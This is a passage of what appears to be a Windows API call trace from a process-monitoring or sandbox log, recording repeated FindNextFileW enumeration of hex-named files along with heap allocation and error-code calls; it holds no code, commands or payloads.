(in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d74626, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45d74626, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45d74626, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", cAlternateFileName="2598A1~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc997b2b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc997b2b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc997b2b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1867, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98", cAlternateFileName="26DCBF~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="28DD73A864C09949BE5B625DFA4CF2CC8D7B0272", cAlternateFileName="28DD73~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28032b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc28032b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fb40231, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf756, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8", cAlternateFileName="292C4D~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2A0C541C7E9FC0F629A45F976215EB2A8AE994F3", cAlternateFileName="2A0C54~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2A2631B4E21DE0654F50C86D5D9258EBDB245D08", cAlternateFileName="2A2631~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A", cAlternateFileName="2A650C~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c100ef, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42c100ef, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42c100ef, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2A7F9C218AF57C32B146B82864B7FBDB08B612DA", cAlternateFileName="2A7F9C~1")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A", cAlternateFileName="2AEEA3~1")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee9549, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7ee9549, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x856d77b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2B24068915A6A6D77F01D72F7883D0A5FF0907B6", cAlternateFileName="2B2406~1")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e6a43d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2", cAlternateFileName="2B784C~1")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435e1c2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435e1c2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2562, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2C1C3006E308780316B46ECD995A5336C781BEE6", cAlternateFileName="2C1C30~1")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2C416B78A7C89B5CDB81D93B1A303A39C7E34723", cAlternateFileName="2C416B~1")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2dfe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2C6468600265AB1F5F8363AFD96F4AE7E91EE790", cAlternateFileName="2C6468~1")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2CA5871C48087826D8608DA52BA892CBBA1FC30E", cAlternateFileName="2CA587~1")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE", cAlternateFileName="2D7DB1~1")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d0cd3a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43d0cd3a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43d0cd3a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1794, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2E08CDAEE955A40889AC5877BE194C7EF12394A5", cAlternateFileName="2E08CD~1")) returned 1 [0250.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0250.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0250.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0250.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0250.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0250.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0250.896] GetLastError () returned 0x12 [0250.896] GetLastError () returned 0x12 [0250.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0250.896] GetLastError () returned 0x12 [0250.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0250.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437d98 [0250.896] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45", cAlternateFileName="2EAFF2~1")) returned 1 [0250.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0250.897] GetLastError () returned 0x12 [0250.897] GetLastError () returned 0x12 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0250.897] GetLastError () returned 0x12 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ed8 | out: hHeap=0x570000) returned 1 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437fa8 [0250.897] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32979d2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32979d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc32bdc47, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x53c3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2EEF955B1888DD216711A407C2CA7C4F0AEFD623", cAlternateFileName="2EEF95~1")) returned 1 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654d80 | out: hHeap=0x570000) returned 1 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0250.897] GetLastError () returned 0x12 [0250.897] GetLastError () returned 0x12 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0250.897] GetLastError () returned 0x12 [0250.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0250.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438e18 [0250.898] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1163, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6", cAlternateFileName="2EF13D~1")) returned 1 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654fd0 | out: hHeap=0x570000) returned 1 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0250.898] GetLastError () returned 0x12 [0250.898] GetLastError () returned 0x12 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0250.898] GetLastError () returned 0x12 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d38 | out: hHeap=0x570000) returned 1 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34383c8 [0250.898] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba081c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3ba081c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3ba1ba5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x17d6, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4", cAlternateFileName="2F08D4~1")) returned 1 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0250.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0250.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0250.899] GetLastError () returned 0x12 [0250.899] GetLastError () returned 0x12 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0250.899] GetLastError () returned 0x12 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437c90 [0250.899] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e4570d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2e4570d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2e4570d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2F803861A862CED3B233D955BAE181A1838202B7", cAlternateFileName="2F8038~1")) returned 1 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0250.899] GetLastError () returned 0x12 [0250.899] GetLastError () returned 0x12 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0250.899] GetLastError () returned 0x12 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34380b0 [0250.899] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5581a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e5581a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x54989d6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e52, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78", cAlternateFileName="2FC942~1")) returned 1 [0250.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0250.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0250.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0250.900] GetLastError () returned 0x12 [0250.900] GetLastError () returned 0x12 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0250.900] GetLastError () returned 0x12 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ed8 | out: hHeap=0x570000) returned 1 [0250.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34384d0 [0250.900] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2FD61AE1BA24124CC1923ECAFD4AAC3D50447717", cAlternateFileName="2FD61A~1")) returned 1 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0250.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0250.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0250.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0250.900] GetLastError () returned 0x12 [0250.900] GetLastError () returned 0x12 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0250.900] GetLastError () returned 0x12 [0250.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0250.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34386e0 [0250.900] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="31279F1295868B1758188226BB765EF87F3F8DB8", cAlternateFileName="31279F~1")) returned 1 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0250.901] GetLastError () returned 0x12 [0250.901] GetLastError () returned 0x12 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0250.901] GetLastError () returned 0x12 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d38 | out: hHeap=0x570000) returned 1 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437b88 [0250.901] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e07506, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc1e07506, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f24f4ed, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1eef, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="31592C8B017CA0508B5F0339E7E1EA46376F2D31", cAlternateFileName="31592C~1")) returned 1 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656000 | out: hHeap=0x570000) returned 1 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0250.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665340 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0250.901] GetLastError () returned 0x12 [0250.901] GetLastError () returned 0x12 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 